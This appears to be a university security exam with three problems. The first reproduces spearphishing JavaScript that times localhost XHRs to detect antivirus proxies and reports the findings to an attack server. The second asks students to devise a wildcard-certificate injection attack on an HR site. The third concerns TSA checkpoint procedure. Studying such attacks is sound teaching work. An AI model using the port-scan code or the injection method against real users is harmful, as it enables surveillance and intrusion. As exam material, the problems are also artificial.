Problem 1 The code on the opposite page is an extract from JavaScript that ran on a page to which victims were directed as part of a spearphishing campaign, probably conducted by a repressive government. The entrypoint is scan(xhr). The function submitResults posts the contents of the bigObject array (JSONified and base64-encoded) back to the attack server.

Note that the second argument to setTimeout is measured in milliseconds.

a) If the attackers want to get information from the XHR, why don’t they just have their script read xhr.response and xhr.status?

b) The readyState of an XHR starts with status 1 (“opened”); it will reach status 4 (“done”) once all network activity related to the XHR has completed, either successfully or with an error.

On Windows, the TCP stack will attempt a handshake three times before erroring out, with timeouts totalling about 1000 milliseconds.

What is this code trying to learn about ports 12993, 44080, 24961, etc., and how is it going about learning that information?

c) Avast antivirus includes a proxy component that listens on TCP port 12993. Kaspersky antivirus includes a proxy that listens on port 1110. ESET antivirus includes a proxy that used to listen on port 30606.

What is this code trying to learn about the victim’s system? Why might it be trying to learn that information?
var s = 0;
var cur = -1;
var start_time;
var p = [["12993", 20], ["44080", 20], ["24961", 20], ["1110", 20],
["6646", 200], ["6999", 20], ["30606", 20]];

function scan_xhr () {
    if(cur == (p.length - 1)) {
        s = 1;
        bigObject.push(["?"]);
        submitResults();
    } else {
        cur ++;
        start_time = (new Date).getTime();
        if(!s){
            try {
                xhr = new XMLHttpRequest();
                xhr.open(‘GET’, "http://127.0.0.1:" + p[cur][0]);
                xhr.send();
                setTimeout("check_ps_xhr ()",5);
            } catch(e) {
                bigObject.push(["?"]);
                submitResults();
            }
        }
    }
}

function check_ps_xhr () {
    var interval = (new Date).getTime() - start_time;
    if(!s){
        if(xhr.readyState == 1) {
            if(interval > p[cur][1]) {
                setTimeout("scan_xhr ()",1);
            } else {
                setTimeout("check_ps_xhr ()",5);
            }
        } else {
            if(interval < p[cur][1]) {
                bigObject.push([cur]);
                submitResults();
            }
        }
    }
}
Problem 2 To simplify certificate deployment, TLS supports wildcard certificates. For example, many of UCSD’s TLS servers use a single wildcard cert for “*.ucsd.edu”:

![Certificate Image]

Suppose that https://blink.ucsd.edu/, a server used by the University for many sensitive HR applications (IP: 132.239.180.101), and https://cseweb.ucsd.edu/, a server that hosts home pages for CS department members (IP: 132.239.8.67), both present UCSD’s wildcard cert for TLS connections. Suppose further that the Apache server installed on https://cseweb.ucsd.edu/ is configured to support only that virtual host, and will serve content from the cseweb.ucsd.edu site regardless of what HTTP Host: header the client sends.

Alice Attacker is a graduate student in the CSE department, and has a home page at https://cseweb.ucsd.edu/~attacker/, where she can place arbitrary content. In addition, Alice Attacker has set up a rogue UCSD-GUEST access point on campus, allowing her to act as an in-path network attacker against any user who connects to that access point.

**Explain how Alice can completely undermine origin isolation for logged-in users of https://blink.ucsd.edu/ who connect to her access point**, by injecting JavaScript of her choice into the https://blink.ucsd.edu origin in their browsers. Be specific.

---

1This is not the actual configuration of these servers. Do not attempt to attack blink.ucsd.edu, or any other server, without permission from its owners.
problem 3 A schematic view of a TSA airport security checkpoint (reproduced from TSA’s Checkpoint Design Guide) is shown below. The X-ray scanner for carry-on luggage is at bottom; the millimeter-wave full-body scanner is at center, labeled AIT (for “advanced imaging technology”); the walk-through metal detector is above and to the left, labeled WTMD.

A Passenger who opts out of body scanning is led through the gate (labeled ADA GATE) that runs between the metal detector and the body scanner. He is then asked to point out but not touch his luggage on the X-ray output conveyor belt to the TSA employee who will frisk him. Why does TSA not want the passenger who opted out to touch his luggage? What specific risk is being protected against?